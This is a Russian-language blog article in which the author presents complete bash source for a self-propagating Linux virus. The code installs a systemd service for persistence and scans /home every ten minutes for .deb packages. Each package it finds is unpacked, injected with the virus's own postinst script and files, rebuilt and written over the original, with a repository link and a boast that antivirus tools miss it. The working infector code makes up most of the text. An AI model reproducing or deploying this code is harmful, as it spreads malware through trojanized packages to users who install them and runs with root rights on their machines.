Троянский пингвин: Делаем вирус для Linux
Нет, я не собираюсь рассказывать, как написать своего шифровальщика-вымогателя, майнера или эксплуатировать супер-новую уязвимость, как вы могли подумать. И тем более я не горю желанием поднимать холивар «Linux безопаснее Windows?()». Моей целью было написание простого вируса для linux, некого, так сказать, «Just for Fun», единственной функцией которого является распространение своей копии. О том, что у меня получилось, я расскажу в этой статье. В конце я приведу ссылку на GitHub с исходниками.
Дисклеймер
Данная статья написана в ознакомительных целях. Автор ни в коем случае не призывает читателей к нарушению законодательства РФ. Пожалуйста, не повторяйте действия, описанные в данной статье, предварительно не ознакомившись с главой 28 УК РФ.
И что мы, собственно, будем делать?
Самым простым в реализации механизмом распространения вируса для меня показалось распространение через модифицированные deb/rpm пакеты. Пакеты формата deb и rpm сейчас являются наиболее популярным средством распространения по для Linux. Я остановил свой выбор на формате deb, так как количество пользователей Debian-based дистрибутивов преобладает над пользователями Red Hat и ее «последователей».
Еще необходимо, чтобы вирус автоматически запускался, и через каждый определенный период времени сканировал компьютер в поисках deb-пакетов. Для удобства отладки я выбрал период равный 10 минутам.
Что такое deb-пакет?
Deb-пакет представляет из себя архив формата .ar, который не использует сжатие. Внутри архива еще три файла: debian-bynary, control.tar и data.tar
debian.binary — текстовый файл, содержащий версию формата deb-пакета, на данный момент там всегда пишут «2.0».
control.tar — архив с файлами, содержащими информацию о пакете (например — обязательный файл control) и пакеты, необходимые для установки пакета (например — скрипты preinst, postinst, prerm и postrm, запускаемые до/после установки/удаления пакета). Может быть сжат с помощью gzip или xz, в таком случае к имени архива добавляется расширение .gz или .xz соответственно.
data.tar — архив с директориями, содержащими устанавливаемые файлы. Директории представлены деревом, в виде которого они должны извлечься в корень файловой системы. Может быть сжат с помощью gzip, bzip2, lzma, xz.
Нам необходимо обратить внимание на файл control из архива control.tar. Этот файл содержит информацию о пакете, такую как автор, описание, версию, приоритет пакета в системе и т. д. Меня интересует поле depends, в котором указаны зависимости (пакеты, без которых по из данного пакета не может работать). В это поле наш вирус будет дописывать fakeroot и dpkg — утилиты, которые понадобятся при модификации других пакетов на зараженном компьютере.
Для сборки deb-пакета создается корневая директория пакета. В нее кладутся директории с устанавливаемыми файлами и директория DEBIAN, содержащую служебные файлы, среди которых control и скрипты для установки/удаления. Затем выполняется команда fakeroot dpkg-deb --build ./path.
Сначала был демон
На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd. Я создал файл trojan_penguin.service, который будет помещаться в директорию /lib/systemd/system, и добавил в нее следующее:
[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target
ExecStart=/usr/bin/trojan_penguin.sh — тут я указал путь к файлу (к будущему вирусу), который должен запускаться при старте системы.
Type=fork — это строка показывает, что процесс должен ответвиться от родительского процесса.
Я не видел необходимости в PID-файле, по этому я не стал его добавлять.
В мануалах по написанию своего демона фалы .service предлагается размещать в директориях /usr/lib/systemd/system/ или /etc/systemd/system/. Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service). Может быть кто-нибудь в комментариях напишет, для чего нужна эта директория, и чем она отличается от двух других.
Файл /usr/bin/trojan_penguin.sh у меня получился таким:
#!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #создаем папку для записи логов, если таковой нет if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #работаем в бесконечном цикле, #делая паузы по 10 минут while [ 1 ] do list=$(find /home -name "*.deb") #ищем deb-пакеты # для каждого найденного пакета выполняем следующий цикл for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log #запускаем цикл, модифицирующий пакет, а логи записываем в файл log done date > $debug/var/log/trojan_penguin/last_start #записываем время последней отработки вируса (мне это помогло во время отладки) sleep 600 #пауза (60 * 10 сек = 10 мин) done
Мы ищем deb-пакеты в разделе /home (а где их еще искать то?), пути к найденным файлам записываем в переменную list. Потом просто перебираем все строки из line и для каждого файла запускаем скрипт tp_infect.sh, который заразит этот файл. Когда я писал вирус, скрипты находились в отдельной директории, и для удобства я создал переменную debug, в которой я прописал путь к этой папке.
Демон готов, осталось научиться его запускать при старте системы. Для этого я написал скрипт postinstall. Он будет запускаться сразу после установки зараженного пакета и указывать, чтобы наш вирус запускался вместе с системой. Разместил я его в директории "/usr/bin/", чтобы от туда копировать его в заражаемые пакеты.
#!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #не знаю почему, но без этой команды демон у меня иногда отказывался работать systemctl enable trojan_penguin.service #включаем автозапуск вместе с системой systemctl start trojan_penguin.service #запускаем демон
Модифицируем deb-пакет
Как я писал выше, архивы, содержащиеся в deb-пакете могут иметь разные разрешения. Я не стал заморачиваться, и рассмотрел только тот случай, когда архивы сжаты с помощью .xz. Файл /usr/bin/tp_infect.sh, отвечающий за модификацию, получил такое содержимое:
#!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #создаем временные папки mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #распакуем пакет ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ #отредактируем control #в новый control копируем все поля до "Deepends", затем копируем поле "Deepends", дописывая наши зависимости, после чего добавляем оставшиеся поля. cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #скормим пакету наш постинстал cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #достроим дерево с нужными нам директориями, если таковых нет if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #копируем наши файлы cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ #Собираем пакет, перемещаем его на место старого и удаляем папку, в которой мы работали. fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp
Проблемы с postinstall
Все бы хорошо, но теперь у нас проблема. А что если в пакете уже есть postinstal? Оригинальный postinstal может быть написан на разных языках (python, bash...), может это даже бинарник. Это не позволят нам просто взять и дописать свой postinstall в него. Я решил эту проблему следующим образом:
Добавил в скрипт tp_infect.sh такую вещь:
#Проверяем, есть ли в пакете postinstal. Если да, то копируем его в другое место. if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi
А в postinstal вот это:
#выполняем оригинальный постинстал и удаляем его if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi
Одну проблему я решил, но появилась другая. Наш вирус будет модифицировать пакет, даже если он уже заражен. При модификации вирус увидит, что в пакете есть postinstal (который на самом деле наш), переместит его в /usr/bin/, тем самым перезаписав оригинал. Чтобы этого избежать, я добавил проверку в «tp_infect.sh», модифицировали мы этот файл или нет:
if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi
Собираем во едино
Вирус готов. Вот ссылка на GitHub, как и обещал. Этот вирус можно собрать в отдельный deb-пакет (запустите makedeb.sh) из репозитория. Чтобы внедрить вирус в какой-либо пакет, достаточно выполнить команду:
tp_infect.sh /путь заражаемому deb-пакету/
В репозитории есть две копии скрипта postinst
DEBIAN/postinst — эта копия выполняется только при установке пустого пакета с вирусом. Я его закомментировал, чтобы вирус не запускался после установки, а модивиццировал пакеты только по команде.
usr/bin/postinst — это копия вставляется в заражаемые пакеты.
Итог
А вывод очевиден и без этой статьи: не стоит скачивать и запускать программы из непроверенных источников.
Ради любопытства, я отправил deb-пакет с вирусом на VirusTotal для анализа. На момент написания статьи ни один антивирус не задетектировал его. Вот ссылка на отчет. Интересно, сколько должно пройти времени, и сколько хостов нужно заразить этим вирусом, чтобы антивирусы обратили на него внимание?
https://t.me/CyberLifes